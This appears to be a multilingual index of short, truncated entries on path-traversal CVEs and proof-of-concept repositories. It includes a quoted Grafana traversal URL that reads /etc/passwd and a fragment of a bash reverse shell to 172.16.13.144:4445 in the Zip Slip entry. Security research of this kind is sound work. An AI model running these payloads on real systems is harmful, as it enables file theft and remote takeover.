CVE-2024-38816-PoC

CVE-2024-38816 개념 증명 PoC 이 문서는 CVE-2024-38816 취약점에 대한 개념 증명PoC으로, 경로 탐색 공격을 시연합니다. 실행 단계 1. Docker 이미지를 빌드합니다: Spring Boot 3.0.13, Spring Framework 6.0.3 기반 docker build -t cve-2024-38816-poc . 2. 컨테이너를 실행하고 호스트 머신에 포트 8080을 노출합니다: docker run -d -p 8080:8080 --name cve-2024-38816-poc...

CVE-2021-41773-POC

CVE-2021-41773 취약점 재현 보고서 취약점 개요 CVE ID : CVE-2021-41773 취약점 이름 : Apache HTTP Server 경로 순회 취약점 위험 등급 : 높음 CVSS 7.5 영향 버전 : Apache HTTP Server 2.4.49 취약점 설명 : Apache HTTP Server 2.4.49 버전의 경로 정규화 함수 apnormalizepath 구현 결함으로, 공격자는 %2e 인코딩이 포함된 특수 요청을 구성하여 접근 제어를 우회하고 웹 서버의 임의 파일을 읽을 수 있습니다. 환경 구축 운영...

CVE-2026-108258 Shiny for Python - Path traversal in bookmark restore

Shiny for Python is a framework for building interactive web applications in Python. From 1.4.0 until 1.6.4, bookmark restore accepts a client-supplied stateid and joins it into the server-side shinybookmarks directory without validating that it is a single safe path segment. An unauthenticated...

CVE-2026-108258

Shiny for Python versions 1.4.0 through 1.6.4 are vulnerable to a path traversal flaw in the bookmark restore functionality. The application fails to validate that the client-supplied state_id is a single safe path segment before joining it with the server-side shiny_bookmarks directory. This all...

EUVD-2026-95986

Shiny for Python is a framework for building interactive web applications in Python. From 1.4.0 until 1.6.4, bookmark restore accepts a client-supplied stateid and joins it into the server-side shinybookmarks directory without validating that it is a single safe path segment. An unauthenticated...

CVE-2026-108258 Shiny for Python - Path traversal in bookmark restore

Shiny for Python is a framework for building interactive web applications in Python. From 1.4.0 until 1.6.4, bookmark restore accepts a client-supplied stateid and joins it into the server-side shinybookmarks directory without validating that it is a single safe path segment. An unauthenticated...

struts-uploader-vulnerability

CVE-2024-53677 — Как работает эксплойт и как его запустить Краткое описание уязвимости Недостаток заключается в том, как FileUploadInterceptor в Struts передает имя загружаемого файла классу действия. Обычно перехватчик очищает имя файла, но Struts также позволяет любому multipart-параметру...

CVE-2025-49132_HTB_SEASON10

CVE-2025-49132 - Эксплуатация RCE панели Pterodactyl HTB Season 10 - Разбор машины Pterodactyl Обзор Цель: Машина Pterodactyl HTB Средняя сложность CVE: CVE-2025-49132 Серьезность: Критическая CVSS 9.8 Тип атаки: Неавторизованное удаленное выполнение кода Затронуто: Панель Pterodactyl v1.11.11 Эт...

CVE-2026-107844

Contao is an Open Source CMS. From version 5.0.0 until 5.3.50 and 5.7.12, ImagesController joins the user-controlled path parameter to the configured image target directory with Path::join but does not use Path::isBasePath to verify that the canonical path remains inside that directory. An...

CVE-2025-8088-Winrar-Tool-Gui

🚨 CVE-2025-8088 WinRAR 익스플로잇 도구 ⚠️ 교육 및 연구 목적으로만 사용하세요 ⚠️ 🌐 언어 🇺🇸 English 🇹🇷 Türkçe English 📋 목차 개요 기능 요구 사항 설치 사용법 기술 세부 사항 스크린샷 면책 조항 기여 🎯 개요 CVE-2025-8088 은 RAR 아카이브 파일에서 경로 탐색Path Traversal 공격 을 시연하는 가상의 취약점 데모 도구입니다. 이 교육용 도구는 악성 아카이브가 디렉터리 탐색 기법을 악용하여 의도된 압축 해제 디렉터리 밖으로 파일을 추출하는 방법을 보여줍니다. 🔍...

WordPress Listdom: AI-powered Business Directory with Classifieds Ads Listings plugin <= 6.1.2 - Authenticated (Administrator+) Path Traversal to Arbitrary File Deletion vulnerability

Authenticated Administrator+ Path Traversal to Arbitrary File Deletion vulnerability discovered by Wordfence PRISM in WordPress Plugin Listdom versions = 6.1.2...

cve-2021-42013

Apache 2.4.50 - Path Traversal или удаленное выполнение кода CVE-2021-42013.py — это скрипт на Python, который поможет найти уязвимость Path Traversal или удаленного выполнения кода в Apache 2.4.50. Предоставлен уязвимый экземпляр Docker, чтобы вы могли опробовать CVE-2021-42013 Если CGI-BIN...

CVE-2024-53677-S2-067

🚨🚨 CVE-2024-53677-S2-067🚨🚨 セキュリティ勧告: CVE-2024-53677 – 重大なApache Strutsリモートコード実行の脆弱性 勧告日: 2024年12月14日 CVE ID: CVE-2024-53677 CVSSスコア: 9.5 重大 概要 Apache...

CVE-2026-107844

The Contao Open Source CMS (versions 5.0.0 to 5.3.50 and 5.7.12) is vulnerable to a path traversal flaw in the ImagesController . The root cause is the use of Path::join() with a user-controlled {path} parameter without utilizing Path::isBasePath() to validate that the resulting path remains with...

EUVD-2026-95974

Contao is an Open Source CMS. From version 5.0.0 until 5.3.50 and 5.7.12, ImagesController joins the user-controlled path parameter to the configured image target directory with Path::join but does not use Path::isBasePath to verify that the canonical path remains inside that directory. An...

CVE-2026-107844 Contao: Path traversal in the images controller

Contao is an Open Source CMS. From version 5.0.0 until 5.3.50 and 5.7.12, ImagesController joins the user-controlled path parameter to the configured image target directory with Path::join but does not use Path::isBasePath to verify that the canonical path remains inside that directory. An...

CVE-2021-43798-grafana_fileread

CVE-2021-43798-grafanafileread Если объект обработан через обратный прокси, можно заменить payload на этот url1 = url +"/public/plugins/"+str.rstripplugins+"//../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd" Grafana — это кроссплатформенная веб-платформа с открытым исходным кодом для...

CVE-2021-42013

CVE-2021-42013 - Apache 2.4.50 경로 탐색 및 원격 코드 실행 RCE ⚠️ 교육 및 승인된 보안 연구 목적으로만 사용하세요 원본 익스플로잇 작성자 원본 PoC 작성자 Walnut Security Services Pvt. Ltd에게 깊은 감사를 드립니다. 설명 공격자는 경로 탐색 공격을 사용하여 URL을 Alias와 유사한 지시문으로 구성된 디렉토리 외부의 파일에 매핑할 수 있습니다. 이러한 디렉토리 외부의 파일이 일반적인 기본 구성 'require all denied'로 보호되지 않는 경우, 이러한 요청이...

CVE-2006-3392

CVE-2006-3392 https://www.cvedetails.com/cve/CVE-2006-3392/ Webmin версий до 1.290 и Usermin версий до 1.220 вызывают функцию simplifypath до декодирования HTML, что позволяет удалённым злоумышленникам читать произвольные файлы, как показано на примере использования последовательностей "..%01",...

CVE-2019-5624

CVE-2019-5624 Metasploit의 CVE-2019-5624 취약점Rubyzip의 안전하지 않은 ZIP 처리로 인한 RCE에 대한 개념 증명 소개 2019년 2월, Rubyzip 라이브러리에서 새로운 취약점을 발견했습니다. 이 취약점으로 인해 공격자는 안전하지 않은 ZIP 처리를 Zip Slip 악용하여 원격 코드 실행이 가능합니다. 이 취약점은 모든 Metasploit 버전 &0 2&0 0/dev/tcp/172.16.13.144/4445; bash &196 2&196" 경로 탐색payload이 포함된 ZIP 아카이...